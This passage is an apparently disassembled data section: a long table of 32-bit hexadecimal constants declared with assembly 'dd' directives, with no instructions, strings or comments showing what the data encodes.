3DAB0BCAh, 79616CB2h, 0C1461C02h, 0AA8929C2h, 0ADE872C7h dd 99C7E091h, 27C17FBDh, 4AF237A2h, 0A7946AD1h, 0F44AA6C6h dd 1A6E4548h, 5EDE7A56h, 0C8919C3Bh, 188022EAh, 0BFAD5EC8h dd 54A36274h, 702A22CEh, 0B4E64268h, 0E71ABC74h, 5AD3A93Ch dd 0FF75E888h, 0DF3024EFh, 62388EBh, 0CBC2E01Fh, 50A33CB8h dd 2D27C996h, 88507A7Fh, 706D602h, 47E56392h, 9398AE67h dd 0ED062F63h, 2DD30FBFh, 12D690E3h, 358777D8h, 597F1733h dd 54F5B8Dh, 48420C7Ah, 0F7F5DDCCh, 35C6CACh, 0CC0885D2h dd 7856FB07h, 0AE670476h dd 56B5B95Ch, 0F9DBC232h, 5548FE44h, 0CE07E876h, 46A1A4A2h dd 0D04F885Ch, 5AD097ECh, 0FEA7A616h, 7661CF99h, 386F6770h dd 0F9804C00h, 70AB9771h, 2F4E7C25h, 17EC818h, 0C4B9F4E1h dd 0E78987B9h, 0E328FEC3h, 906EF6A1h, 0C72DF04h, 3E2FB2FDh dd 2E774F5Dh, 3381A93Fh, 221820D3h, 0CFEA85BEh, 92CAC8h dd 28DEB1D0h, 0A5188D7Fh, 6FC73DA7h, 304B51E0h, 77754A32h dd 3118F9BAh, 982C9CDCh, 5C08D380h, 0C38BDB4Eh, 97E64E17h dd 0CBFF95FDh, 0D6C69444h, 9D05C8A7h, 0D547474Eh, 9434F7BEh dd 8699E6C5h, 4A4CCA78h, 467E0851h, 0FE37D107h, 0C28E4792h dd 485110C0h, 1AC3D29Ch, 7C684EB8h, 0E761C41Fh, 3052342Bh dd 5FAA2BEFh, 96E19FB9h, 0D3361E5Bh, 8EE4E9E8h, 488A70A5h dd 0F245DA63h, 1F8FF44h, 891F2F00h, 9AA600CAh, 0D306C802h dd 0F2882CC1h, 0D42BC152h, 0D6D1FD1Ch, 40F1B8h, 0CA2D9FB5h dd 0F5D4FA26h, 0F0BBD92Ah, 597D4012h, 0FF853AEDh, 184BE9Dh dd 70D0E3F6h, 8834CC4Bh, 0BE1C5696h, 24819A39h, 6E656A0Bh dd 0E1E8E555h, 0CA3122ECh, 827223E5h, 0AC5DDEFh, 914B1146h dd 0E49EBED3h, 0E48901DEh, 0D10E1E45h, 0D23ED353h, 0A947BA08h dd 291B5711h, 40C0942h, 14073EE6h, 3242374Fh, 138AFD14h dd 0EA71F1E2h, 57C6A98Dh, 82EFA210h, 39656AFAh, 0D130C2F5h dd 8C910127h, 7A1D5AC9h, 26556991h, 0B1C2CC8Fh, 5EDA1AB7h dd 0F6B4D726h, 6F4CCEC6h, 18B4C82Fh, 0EA68764Eh, 6E39A072h dd 51FACECDh, 0C0A3A66h, 5C7ACFAh, 5C5CD5BBh, 975E1F12h dd 0B0580B86h, 0A1B3C0F1h, 0E54B4306h, 31FB000Ch, 4944410Bh dd 6CCF133Fh, 54119C58h, 3E082286h, 91D37663h, 344CA3A5h dd 57C2812h, 0AD6AA1CAh, 70888255h, 4D7EDEB3h, 5B0339C2h dd 5B7361EFh, 12136C16h, 0FD7D29Fh, 38E1C9C7h, 4DCF05ABh dd 0B418B428h, 1D1925CDh, 0C248788Eh, 0EA865678h, 4B26EDD3h dd 9182C858h, 23E82BB6h, 92E8109Dh, 0A9988E7Eh, 94EFB065h dd 0CAB87DF6h, 0B3C5EB24h, 1095EDAEh, 98F53DFh, 0E6CA654Dh dd 6A59DBB4h, 24A93466h, 4FC969A1h, 43E26ABAh, 310B6F22h dd 7A98E750h, 80DEF639h, 0F627AAAEh, 8289D1F1h, 0C25F3E06h dd 65503F13h, 0A88E28C4h, 0B928090h, 9C240D9h, 0A2E57187h dd 807FB77Ah, 469EA779h, 7BFDD097h, 3A297E12h, 53DDD511h dd 0E7F8AB38h, 47C5F2E7h, 0A3560415h, 0CC8C202h, 76AE13C8h dd 262CD0EBh, 21FAC3D6h, 0DC430962h, 1277ECD4h, 0AF6EB39h dd 94417B53h, 0B0414275h, 8BEEBD73h, 197B0441h, 5B0F23E9h dd 3738B98Bh, 61A95F7Bh, 15C1D669h, 0AB9A8F9h, 3C13C8CAh dd 78D6EEBBh, 4897DAC8h, 6A5DF187h, 53028D97h, 876816A5h dd 7672CB5Eh, 0CC19D658h, 0CA3836DAh, 0B0578AA5h, 8F037C96h dd 62AD53B8h, 0DB75D9B9h, 27A18FB7h, 0BED1ECAEh, 99859017h dd 222094ADh, 10098AFEh, 914D3221h, 8E619752h, 0D39658CFh dd 0CD2591F4h, 0DE07D738h, 0B849B515h, 5B4060DDh, 48DE20CCh dd 0E7484D99h, 0C9AD19E1h, 78856D20h, 0C5ABF918h, 71E7E31Dh dd 0ABC36C01h, 5F843A0Eh, 5862C562h, 673D15DEh, 0D19AADFh dd 1E60469Eh, 226C184Dh, 0B3DF2959h, 71F4F1h, 0F201FD2Ch dd 1E1FDE8Eh, 67EEC5B0h, 0DD9EDD46h, 5D270C94h, 69765B10h dd 0D4D34084h, 544CB341h, 0A455EDD7h, 62E16A19h, 639AE8AEh dd 7ED96B7Dh, 3A96A584h, 0C4BAC6B9h, 54C4FFBh, 0A3D9CB60h dd 860D756Dh, 0DB80DD7h, 0F7EC9C65h, 76014687h, 0F0799D3Dh dd 6CDC7452h, 0BB7035Bh, 45B7B0FDh, 63039002h, 3ED2DD33h dd 66A04862h, 0C107FFDCh, 0E8FBAC10h, 548FC80Dh, 7DD193B3h dd 0EDD3042Ch, 257F5D63h, 52F5CEEFh, 0E37D016Dh, 245854AAh dd 5F60E8B4h, 3EDA43CBh, 96B5A072h, 3C8334A3h, 806D46F4h dd 514D3A8Ch, 7F0F69FAh, 57903E1Ah, 6697E9D6h, 2846030Ch dd 0BC1FA75Dh, 0CE71699Dh, 0AE2FD2A5h, 88ABE138h, 0E1DAB514h dd 6BCDFC40h, 0B380DBE2h, 541EDBEAh, 0AF29B8DDh, 338B95A8h dd 1AAE32E2h, 1F3421Dh, 0D38AA1C1h, 0F74738DBh, 1C15A5AFh dd 0BAA001B6h, 0C5E13D1Ah, 4FE608C7h, 84FB2C58h, 4F8259D5h dd 0D9926535h, 6EB70A42h, 0D4DF2777h, 0A22D8E1Ch, 0BA5D2097h dd 0E86EB307h, 0E3B3ADD5h, 0B7B1060Dh, 0D0240426h, 3230BCEAh dd 1F32FAE6h, 10095A4Dh, 0A9AED251h, 9EA3E687h, 86A001D4h dd 0A7B5A29Bh, 0A4EC19A7h, 738A4717h, 0B2D72ACAh, 0DF2C80F8h dd 792DCEA5h, 79EA67E9h, 89585A7Ch, 78BEB0BFh, 8D49160Ch dd 91F942BCh, 765494B5h, 603E5AFFh, 23FC7129h, 0C15BF635h dd 3307D8F2h, 0D377C7E5h, 0C43101B4h, 312C36B4h, 0A73E1518h dd 4D30C5AAh, 46487910h, 0DEC34E4Fh, 0A997ADD8h, 679FE13Ah dd 0CB13D758h, 0B5D72470h, 0FB79B51Dh, 53347Ch, 0BDCE1483h dd 5400BBDBh, 6ACEF17Dh, 0B64EC086h, 0C95B38C4h, 0CBB633CFh dd 1B645BCCh, 3531CA93h, 0C644C0C7h, 8EFE68AFh, 0EC8D6B03h dd 0DD3262E6h, 1098CDBAh, 7B7CF4CEh, 2BFB90F5h, 0FF5A95DBh dd 90567854h, 9141EC13h, 0CB0F1AABh, 8DB526C6h, 7C08DA14h dd 912F93BBh, 4D4B3503h, 0FC2A3458h, 6A185A9Fh, 0C44CD319h dd 0A3943E60h, 7525FCE8h, 0AF450C8h, 2FD4ED4Fh, 45E68530h dd 4B90F044h, 0C961D519h, 48DDCC0Eh, 7AE1D130h, 8CF91C2Eh dd 6A3558BFh, 16512B3Bh, 4DD48B89h, 801F62E8h, 0FECA8E79h dd 0CDFAD6D3h, 317774EEh, 4C655571h, 0FE6D9EF5h, 0F9B7FDAEh dd 7632767Ch, 1D68816Ah, 2AAD17E6h, 0E2D13FBh, 9A7C686Ah dd 4DC89D60h, 49846980h, 0B8F5E351h, 1B0BB250h, 0D9096AA0h dd 0F36FEAFFh, 817252BEh, 6413C8A4h, 8C7A47ECh, 0BC94B6EBh dd 0BCA39EBFh, 0A17F8DE1h, 393E5765h, 0C473A1ECh, 0FA450637h dd 21B36998h, 6B8340BFh, 1D8398E6h, 0C49FBAFEh, 0E9262CF2h dd 0C03B23E8h, 4AE2080Ch, 4E9DA3BCh, 5B1228A8h, 32A42994h dd 23493984h, 1086540Ah, 0D75ADB50h, 0AC3BC973h, 3D0CFE08h dd 0D0F3C2E5h, 84C0E41Ah, 2185ADC1h, 29FB64EDh, 164175EDh dd 7534F58Fh, 0A68F3CC1h, 20E88830h, 0B9B7648h, 4BD36160h dd 4A63D9CDh, 0FB3EEBF5h, 0D57EDCBFh, 7D899C8Bh, 675683CEh dd 23A98CDAh, 11F18A88h, 1ABFF623h, 94D28F9h, 0B0FF4DD0h dd 0A431106Bh, 61898998h, 0AB56B2Bh, 7DDCF141h, 0C0EEBDFAh dd 5DA5A1EFh, 988E538Ch, 808F907Eh, 0BFD87CE2h, 10089936h dd 0F27DD7CDh, 706405D4h, 793A0852h, 0D0990ED8h, 1C0D6Ch dd 0A8C46575h, 0FA4B5DBCh, 41B16DCEh, 5BF0F2F1h, 86C29F9Bh dd 0FB644B78h, 8F366335h, 0E9B5AC2Ah, 0AA6CABD4h, 1F80AE69h dd 6DC81DB1h, 0AAD9A2E5h, 12F58653h, 6AF169CAh, 0E49F268Dh dd 26C14AEh, 4E7F293Fh, 0D4A9C1A0h, 0A83352BAh, 0D1C76304h dd 46AF6867h, 827F3288h, 1C83301Dh, 6062F32Dh, 15810717h dd 432F8293h, 8C8A0680h, 0D6F5FC72h, 182E7991h, 6FD90471h dd 27FA5824h, 0A3A75E25h, 0E4E52007h, 1880C8Fh, 14618E06h dd 7059D14Ah, 0B9AA7592h, 1C22089Eh, 0DEE08262h, 0F6018C2Ch dd 7652D66Ch, 0A03067E4h, 0E3C244D8h, 0F23B42F6h, 0A456ACC6h dd 3C9D857h, 0FB1A4B10h, 7764838Eh, 68AB64CBh, 0E66D1BF4h dd 0B5DDC724h, 486A9049h, 1D3FC796h, 17E4DC66h, 83FDB247h dd 4ADFE498h, 0E27CD60Dh, 0F4E94F9Fh, 0C4330D13h, 0C377C982h dd 36CD73D8h, 453387E6h dd 893C167h, 6625BF43h, 6EB53D6Eh, 0F0B8311Ch, 900DFF3Eh dd 85CAAD1Bh, 0CAE7817Dh, 0F6E3BC7Bh, 174592D0h, 4C5A3EBEh dd 0A6AEE5EDh, 0D7FBF680h, 0C42806B1h, 0A6380253h, 5DFC1A18h dd 4FDB6B31h, 716A143Fh, 1F76C061h, 0F1F043ECh, 656C2A1Eh dd 0B52FEC91h, 0BA672935h, 0CA4E700Dh, 6ED68D4h, 0EB58CEA6h dd 71BCB33Fh, 677D9661h, 85114134h, 9D96137Ah, 0B1172A76h dd 6366E5A9h, 595C10DBh, 481BF65Bh, 8BC8F6Fh, 81A56E43h dd 0BD42EE48h, 63FBA0D9h, 18DF2B43h, 0B8303F85h, 0A9CF2E2h dd 67DCCF4Bh, 0CE1F9AFEh, 7426D614h, 1447C0EBh, 97355F86h dd 4C48405Ch, 91020C49h, 3CB2C0Dh, 3F5A195Ch, 0F8BB87C1h dd 0B450C2BDh, 1AE83098h, 8D0E6DBh, 3DFBA8E6h, 0FA696153h dd 64D512C9h, 611138B8h, 0BE5547Bh, 681241D1h, 0F6B3CE95h dd 11B9528Dh, 0AA3BEB9Bh, 0B371F1B2h, 0A6303BAFh, 5EA98742h dd 90514233h, 0B86109E7h, 0B89A4DEFh, 0E83648C9h, 0A546616Ch dd 0FF4EBDB8h, 0E3BA624h, 9685CF7h, 1A0AC54Ah, 0B03B5BC7h dd 7944249Ch, 9BD7C6AEh, 37995740h, 84910D62h, 6AF44DB3h dd 0EFD7B631h, 94BD585Eh, 1966549Dh, 33FAE915h, 0ECF23BC0h dd 29A02465h, 9D9F7054h, 97921F20h, 0F62B51F4h, 8F05B5FAh dd 0F21DC3B9h, 209321A4h, 0D9DC87B5h, 1B43D086h, 0CC163755h dd 78011EDBh, 99D1FEB2h, 6484DBB8h, 0D4F94851h, 0C06DD9DFh dd 0E1A04A48h, 820BDE3Dh, 0C2437788h, 3C3D6DD6h, 94691DAh dd 78E60E23h, 55E8BF5Eh, 0F312AB89h, 0F5316FE9h, 0D91F30BAh dd 78EAC416h, 0A6E1BA62h, 0CDA8FFA5h, 0C1BD32E4h, 0BC26CC6Bh dd 90A80E26h, 0C22F2EF8h, 0B6CECA76h, 897BE3A9h, 0A0187F9Eh dd 0DEF5B89Ch, 81D3DD3Bh, 1951186Bh, 0DF68D1EEh, 97488892h dd 8D46356Eh, 17AABEB2h, 0EEEB60CDh, 71CF9477h, 0C008E8D1h dd 37E170C5h, 0F0494B95h, 8A54BC48h, 0E2FD9EEEh, 2FC7F76Bh dd 0D773BCD4h, 693B704Ch, 0D5B12F80h, 68C8B9A6h, 58AD3A01h dd 3938E079h, 551383D0h, 0AA5ED524h, 0F12EC8B0h, 837B284Dh dd 0AE746E26h, 0DDDC8007h, 58D94BD9h, 548E99F4h, 0DFA4896Dh dd 0B84EC94Bh, 0D2E70EA6h, 95C7CF9Dh, 78849B1Ch, 28DE594Dh dd 475EF274h, 123875F5h, 0E1C99208h, 0B6A5A59Eh, 0DDD80F7Ch dd 0D1AA58FAh, 399E56DEh, 3AE78696h, 22D714DDh, 172C9h dd 0BDB1B489h, 783CF3D1h, 0E51756E7h, 0BE760612h, 0A7149CF3h dd 0B04FB359h, 0B7CD6D6Ch, 0ACAEA270h, 67361DB8h, 0B1489791h dd 54895793h, 665AFA92h, 8D73E66h, 84F7518Dh, 750756EFh dd 0AD37743Ah, 686C8EE9h, 8B97F8FBh, 70A3E2C7h, 97169E0Eh dd 0DA9513FCh, 0D2F89AC2h, 0DE5F4DD8h, 6E3CC5h, 0AD5D0D30h dd 946E5EC3h, 98DE7E97h, 0CB2F36F0h, 0B1FE354Bh, 0E701D69Ah dd 21A6006h, 95B68F61h, 0EC45D3F6h, 6A5BE795h, 6AF27DF7h dd 0BC4C34ADh, 297C8B87h, 543957CCh, 94B3EDE5h, 3C407081h dd 0A255FE81h, 79ACF7B0h, 8694E378h, 0C6415445h, 0CF4A0015h dd 0BB35F45Bh, 651ACBB6h, 0BB426D55h, 9C0DE1E4h, 62E33CC5h dd 3AC699C2h, 31DB52D5h, 5DBC295h, 1B1F5D17h, 1D352204h dd 2E23DCF2h, 0A795AC65h, 40174E2Ch, 6CB0C247h, 0CEFC72BCh dd 4430FB99h, 88A0FD0h, 915986B8h, 345FE5F1h, 84E55AF3h dd 20058A9Eh, 6D532DEBh, 493E0CC3h, 9D5D6324h, 93CDE7D1h dd 57C2EB38h, 96530B6Fh, 2193DF22h, 62796BC3h, 0E6B6E838h dd 8BC20CE9h, 1D64F18Dh, 0D54D4FE8h, 31E84F6Ah, 0ACD9BF44h dd 0FC57397h, 0C0BAF1EEh, 40F72277h, 0CE8AAAE8h, 754AF521h dd 0DD4E07BBh, 45E16D60h, 2D9345Eh, 21531h, 8FDA319h, 3BD03AE9h dd 0AD03035Dh, 0A00E4CDEh, 8479C2A3h, 0EF69878h, 0DBC724B7h dd 42AFE28h, 0DB10CC58h, 0D3612E47h, 2960E97h, 468FCFDDh dd 757F86A7h, 0F052046Eh, 411DF9F4h, 9F54930Bh, 6C7C8211h dd 0E278FA99h, 0BD8582B9h, 419A2EC0h, 0E06D7205h, 7C93486Eh dd 0F7E702FDh, 9285EC1Fh, 0F7AF209Dh, 0FA9D2764h, 72BF5F32h dd 6DEC1AB7h, 0C80705FFh, 0CBDF105Dh, 80E0BCCh, 3E15CDF3h dd 0DC6F83E1h, 91C1987Dh, 81FCD48Dh, 6687D433h, 2026DE35h dd 67B81D45h, 8B64B252h, 7CFA8F6Bh, 8C1BB2A6h, 0C93919D7h dd 590D6296h, 0FF16B637h, 39AD8285h, 236880h, 32C4ECD7h dd 584BD309h, 2A3EB4BEh, 5E5920D4h, 69261651h, 0ACDD2D13h dd 63736F5Eh, 0C8B9E79Ch, 2E0AE2C1h, 28965C60h, 0A77ACCDBh dd 0CAC7540Eh, 0A5E5135Dh, 0B143FE7Bh, 0A39F5FFCh, 6AB22232h dd 8B5A997Eh, 0F4FE055Fh, 0B3612C9Eh, 0DB326A63h, 0D4C58254h dd 0ED81C33Ah, 92B4D9Eh, 4C8702F7h, 832F19BFh, 17D87C66h dd 832D490Eh, 4E05928h, 0FE96E4DDh, 4A44884Bh, 0AC3D4AF4h dd 2E3DE5D0h, 1BF56926h, 50B127B8h, 837D26BBh, 0D999BD98h dd 528B6B40h, 59554670h, 65537D78h, 0FF93FB5Dh, 2EAE933Eh dd 0A85BD0D1h, 0B3906BEEh, 0E8F71FA4h, 286BF038h, 7428171Dh dd 6EF7ACB1h, 885158ECh, 2B71CEB1h, 6489AD15h, 0E3CD7E9Bh dd 62AE7E56h, 583D3A5h, 8364D052h, 1167F1B0h, 62C50D96h dd 0C3D8BC89h, 0B82D87h, 0F4BCD665h, 0F37BE02Fh, 6AEEAD9Ch dd 1889FFE7h, 73945E2Ch, 85C28A8h, 5B929AFh, 1F1839A9h dd 0C0DC64D6h, 1A5C280Fh, 1A92C527h, 6DF92B02h, 0DE705A69h dd 0D2A55368h, 743E9A18h, 5F83182Eh, 0D060D695h, 0F2AE50A6h dd 432E1E72h, 64295972h, 85A41D02h, 7D0E480Fh, 906ED962h dd 55640AE9h, 0C1A62DB9h, 7E0DB6D2h, 0FD344CE4h, 0E4750DE1h dd 8C31D43Bh, 50665BD8h, 0B0AB3A8Dh, 0A557D2F9h, 1963BF4Ch dd 8F959725h, 46453827h, 0F77A84FBh, 2F72DEABh, 6BEE0F5Dh dd 0E1728A16h, 12279B3Dh, 8FE0ED3Bh, 1B87BFE1h, 36414A62h dd 8E0CD753h, 0B79B28FFh, 37F37ACFh, 37AC0753h, 14D7BF13h dd 1E55BAD6h, 13BD3C8Ch, 5E2283FAh, 9639D992h, 75395F6Ch dd 0E0E8A0B8h, 0A82B1A88h, 0E9A056ACh, 525D908h, 3B9F1E9h dd 130DCACFh, 0A2AB8865h, 0D38940C4h, 479DBB3Eh, 0F8B94E23h dd 7CC362EFh, 90C64AF7h, 153719C1h, 0C958382Ch, 0B67455D2h dd 1F945DB7h, 0DFA5CC81h, 2DCC6E02h, 0E7547B48h, 535A5BE8h dd 88FB7A1Eh, 37E40E48h, 616A5F70h, 2B5DEC94h, 3EFA936Ch dd 6103B3E0h, 2B453A1Fh, 0B1F5F6D5h, 91DFA943h, 75BC71BDh dd 879F9FE9h, 0C5382C09h, 65AC3D0Ah, 0A6B64222h, 18A77358h dd 374D3546h, 3699C991h, 0C124EC44h, 0F28EBF51h, 1AEB168h dd 8B1E876h, 0A438A164h, 0BD1AB601h, 56D0A6B8h, 4FCB20ACh dd 0C616BC04h, 0F23DA399h, 0E6EF098Ah, 77974C04h, 9B26B0E9h dd 0F159F057h, 0CD39899Dh, 0DB360533h, 0A48AB859h, 205DBF96h dd 0EA3F3034h, 1D64BC4Eh, 0FEECE37Ah, 968CAA75h, 21F103Bh dd 0FBC5C676h, 3D135A2Dh, 51314FECh, 4447B550h, 90D7C400h dd 2C759211h, 367CB323h, 5B15B4B8h, 0C58938EAh, 0B5DDEAFh dd 0A00F2E10h, 0F42092C9h, 7F18640h, 3795A9AFh, 0B1ED2846h dd 86BD4FC3h, 6BE03F86h, 0B706E398h, 80EE961Ch, 466E65DDh dd 0B195096Eh, 0FC7ACA60h, 1A1A4F81h, 71728328h, 0F8C555FBh dd 4354F321h, 29E66771h, 5025D03Eh, 664BCD51h, 9CE9A829h dd 0CFE6FBAFh, 2BDA3225h, 0B6029E7h, 6DFA5B21h, 6CD01B1Ch dd 0F63E3F21h, 1E7FA218h, 0B0CD2B1Ah, 5E5F1D49h, 47892404h dd 9AB282BCh dd 0AF2733C4h, 4B5161D1h, 0FCC645CAh, 9420176Ah, 5D32C6D6h dd 30F7EB20h, 0B8C04E00h, 997FD4D3h, 4347570Dh, 9C269800h dd 0AA3B3092h, 5ECE3D6Ch, 93B98CB8h, 129CDFCCh, 94DE7960h dd 364433C1h, 95B1CE9Eh, 96BE2E63h, 278A5AE0h, 0F56DF1A9h dd 59C36847h, 8DE2570Ah, 38F1D9E5h, 8C43604Ch, 5F3D7076h dd 0FC9A3AB5h, 0B9A3975Ah, 5A9569E0h, 639FC5B2h, 2CE1A802h dd 9D8BC59Fh, 70BEAA21h, 15167BB7h, 0F5EA277Fh, 801BF0Ch dd 42291BE8h, 0CF985366h, 9D141824h, 65EE2F89h, 0F2673CAEh dd 968420FFh, 0BF0E2C75h, 0C838570Ch, 0BE0BCF5Bh, 842CCFD6h dd 2A531374h, 9E676398h, 3FE81F94h, 0DD1682B5h, 259DD381h dd 709EE1Eh, 988182EFh, 0E2F193F8h, 0AD9F86C3h, 0E26C61F4h dd 0E4321116h, 282EB57Fh, 7A29AF8Eh, 0E6F25245h, 0CC6B74E5h dd 0D648AB1Ah, 82DE09D7h, 1C96698Eh, 0B9FA4DBAh, 0F0462154h dd 0DD2B9BACh, 0BCA07D68h, 0DFAA29C7h, 1FA3018Bh, 9B36AFE4h dd 0DE3756DFh, 96D3BA9Fh, 0DF57001Ch, 0A60E6C3Ah, 0AF4BBFAEh dd 0EE1BCD24h, 0D5349DA7h, 54ED9050h, 3AC5B5Eh, 62592671h dd 5FF306E7h, 50F9C4B4h, 420B2FD3h, 0E5DA16E6h, 4BCA25A8h dd 9F804358h, 81DF05AAh, 3801D4E6h, 0D35173BEh, 7897546Ah dd 0ADB68D3Fh, 7BF5A95Dh, 0E2AFD7DBh, 54B2BF9Ch, 48EC7D29h dd 1F3D3BDEh, 0D5578FC6h, 0E1D219E7h, 0D74BE126h, 0D5D01EE5h dd 3081AB4Ch, 92942979h, 0FB8D5325h, 0E19B8C08h, 4F9E53A7h dd 0F64E065Dh, 725112Ch, 83E09326h, 5F0DC990h, 0DFE851FAh dd 0CD689A79h, 0CCA020CCh, 0F1C37FC6h, 0E2BAB380h, 0CCFFED95h dd 134213EEh, 0EA7BFF54h, 0BC106F45h, 2B9968EAh, 7628A195h dd 7872E2CDh, 267632E2h, 0C8868DB1h, 82EC3F21h, 270B9D3Ah dd 0D355D22Dh, 156C2346h, 6966499Dh, 10479E2Ah, 698777B1h dd 0F4099441h, 0EC27997h, 0D7E6F404h, 7BE0C608h, 7993AE68h dd 9E7F1E72h, 22975F72h, 0ED98E510h, 0B058A74Bh, 9BE0977Dh dd 80DCEC1h, 9D08C19Ch, 4AE96F12h, 0EDCD6EDh, 1BEC0CFh dd 0AC626C73h, 0A9BC4AD6h, 33563D6h, 63D99330h, 7B366CEh dd 0A455452Fh, 2A379FB9h, 0B33548F8h, 84C8F3BCh, 9B49CB3Eh dd 0FDE3EDF7h, 1CD12542h, 0E236518Bh, 658F3445h, 0AC15DA15h dd 0B7A9258Ch, 24276442h, 142D3F73h, 7B20A94Ch, 0CD356F82h dd 2FE0A283h, 5EC77E01h, 5935F801h, 0E2D16FBBh, 0C1C89A7Dh dd 0E3A24F2h, 97E4F194h, 0AA617D51h, 0F95CE86h, 8C8D41BAh dd 0CD264332h, 435CAD88h, 8C2B7931h, 0A7EDC1B1h, 2EF83960h dd 5AC08D19h, 72CF0099h, 32D73058h, 73FF62E1h, 0DF4DA40Eh dd 509DA680h, 0E5594465h, 0DF106BCDh, 795E865Dh, 931B0CFEh dd 0E322307Ch, 10A28A0Eh, 0EE161B41h, 5CDE6A85h, 0B412419h dd 0FBBC2DF4h, 0F82BB1Ch, 0D95CE304h, 2A015744h, 73632CCEh dd 7C627417h, 352E92EEh, 0ED3C20BBh, 0E0CA2BF9h, 0FEC73959h dd 8040FC7Bh, 0ED8AF3F6h, 9718C76Bh, 25654AE2h, 0DFA7691Fh dd 50DCBF35h, 5B5B4C4Bh, 1D45BC01h, 112F46D9h, 7AD7B531h dd 501A0D87h, 5BAE49E3h, 2C100C3Ch, 0E1837C30h, 585E0680h dd 0EFF2463Ah, 4B8C99D8h, 0AFC65E12h, 5A9FFABCh, 22A96E26h dd 4F9CAEB0h, 6EA9C381h, 290A134Ch, 0E7A6AEBEh, 0F6563A33h dd 389AC20Dh, 2CF87366h, 1098CDFAh, 7E1AC220h, 108FBDD0h dd 3DB05F9Ch, 0B37F3A54h, 59D5522Bh, 60BAA49Ah, 3305EDB8h dd 6A360B92h, 5017E0F9h, 40A3081Dh, 0B2781B43h, 99E40A9Ah dd 0C3112732h, 53417217h, 81E44F26h, 4A2DF73Fh, 357FF6CCh dd 2BB126C5h, 966AAA9h, 0A8339762h, 6F53F080h, 190D8C3Eh dd 0D62F1D6Ah, 36D20E0Fh, 124D41AAh, 0EEB58947h, 0F7A3C9A4h dd 0E6CC6735h, 5D7A15D5h, 87250D55h, 0BBE5A34h, 1437DE9Eh dd 59199E84h, 494B8E54h, 766AF155h, 0ADFAD255h, 0FB6B42D1h dd 83919875h, 95F41BB7h, 82647960h, 0AE7BF5E0h, 1669156Eh dd 0C5B14D37h, 0FE5BEFCFh, 817714C2h, 0AACCB06Dh, 767CB45Ah dd 4676E77Dh, 7A1075Fh, 0BE31A7F1h, 41BB5531h, 76E2AD66h dd 323BF6DCh, 0F2CD63CEh, 0B936ACA7h, 96151383h, 60CACD3Fh dd 0E1E35B5Ch, 0A4136513h, 37D5A1DDh, 0E95B2C6Fh, 79C966A1h dd 0C2F22FD7h, 4CD75B43h, 0F7586F72h, 0D60C5B7Dh, 0D176176Bh dd 0FB23A25Bh, 6193E018h, 8E3759A2h, 0E310F934h, 78EB23FFh dd 6F572723h, 97EC6752h, 8ACF9C49h, 0C96480F9h, 2E6533C6h dd 1B13158Ch, 842D16E1h, 0B4C33000h, 58F52EEBh, 80526A43h dd 265851EBh, 4B62AB50h, 3B03F12Dh, 0D81C35F7h, 29762342h dd 0A6DDDE35h, 5518D18Ah, 2DD969F7h, 6EF95B09h, 0A7473C1h dd 29691BAFh, 69159C7Bh, 0AA404AC9h, 35B5B904h, 0C4861C1Fh dd 0D594FDB7h, 0E723F8AEh, 61F252Ch, 0BC4CA5DCh, 0D13D6CECh dd 0AF42CA70h, 3AB0D82Ah, 1F37512Dh, 3E2C0293h, 9690C2B4h dd 0BB982D56h, 8A761382h, 0DE033A73h, 8408B507h, 15AA6BAAh dd 0A95448C4h, 9109A52Bh, 11D364A7h, 0AD20295Fh, 62BE4009h dd 0F926B04Ah, 9673291Bh, 30659789h, 0EC098BC1h, 29655B32h dd 329190F9h, 3C987800h, 5C3E8E06h, 5E5FEDC0h, 64ED42F3h dd 0DB247A93h, 7BD3E368h, 9E280FDh, 9D828E23h, 17669D26h dd 0A31EE02Bh, 70D93C90h, 0E4642541h, 4EFED2F1h, 0D3CF7C26h dd 5F1D88F0h, 762FE986h, 23F0B9B8h, 20B47A52h, 0FF1C613Dh dd 0E4D41E3Eh, 0EFA2ED3Ah, 74F0392Dh, 0B3833079h, 7C533F26h dd 0ECD6FFF1h, 0C83954FDh, 0D61FD383h, 11D87748h, 0A7328F9Ch dd 1AD1AACDh, 0F0308C8Bh, 394B110Dh, 30C60AB2h, 90C90572h dd 1BBA1382h, 0C052E4E2h, 0BCECAF48h, 23E547D5h, 66D43125h dd 93389066h, 952A2333h, 7EBC8DB4h, 77AF2254h, 0C805F548h dd 0D3D77D9Fh, 5B8EFD9Ah, 4D140AAFh, 0C19D6E4Eh, 5F15098Ch dd 9C8F6595h, 0ACCC2521h, 0B403A1E1h, 0DADD844Fh, 9657E298h dd 8CB23B69h, 110FF8B6h, 0DD2FB702h, 334657FBh, 448FAD3Fh dd 7D622F50h, 1B8EAEC4h, 0A8735C3h, 972648DDh, 1E66C524h dd 0BE0B8563h, 501FB116h, 6619AAFBh, 8BC0F3C5h, 7BBEAD2Eh dd 0D0A1D15Fh, 2BADCA55h, 3ECEF6CBh, 45AD8E0Bh, 0C5683416h dd 0C7F88F7Fh, 0E804B0AAh, 0F801ABC3h, 6C868E43h, 724275B1h dd 0AD2D545Ch, 83EFABC2h, 70938BDAh, 8479A5BBh, 1C229548h dd 0EBF6259Ch, 4D6CD1D0h, 0D2254F99h, 3C2C68F0h, 0A7FE2D93h dd 0D757730Dh, 7F34183Dh, 0A11F90C6h, 31940208h, 0AC1079FFh dd 0C0901433h, 8AE0B48Bh, 0F351A17h, 0C5338954h, 8E874930h dd 7800AEB0h, 0B939400Eh, 58F92D84h, 0ADB3C4A7h, 5EC1839Bh dd 2335BFCCh, 23838DC7h, 0F056FA62h, 8B96AD97h, 96C683A2h dd 97FC139Ch, 601EB1C7h, 0F3C90915h, 2C3C6C8Eh, 0FBA2ADB1h dd 86F86061h, 72AF3B21h, 9744BA55h, 5EB97A4Fh, 39D7663Bh dd 0B4D732Ch, 21BF2101h, 76EA2C9Dh, 0D6E62556h, 0A08533CCh dd 7E84EA2h, 57DC0093h, 29691706h, 4B5632DFh, 0A7C543D2h dd 2CA10AE7h, 0D603A276h, 0BC8D3E6h, 0C49282D1h, 0B5A8372Ah dd 0A8875C30h, 0AEBD1B01h, 0B3BD1D3Ch, 36D53CCCh, 0CF983340h dd 534D06BAh, 616E312Eh, 0E81387C5h, 0FFAF0852h, 7D40B4BAh dd 0B5D4C846h, 3459A364h, 0D10FA499h, 0BE2D5E84h, 213AD9A4h dd 60E0FD3Bh, 1DCB73Ch, 996C45CCh, 0FAFD0661h, 2F981F13h dd 276F1F5h, 7BBBC984h dd 0F77944BFh, 0CF78F7B1h, 0E2AC58F6h, 952109B1h, 0B8A333A2h dd 0F330A2C3h, 3D766A7Fh, 0CB1807F5h, 5A5D981Dh, 0DA30F0EDh dd 6E85CD0Fh, 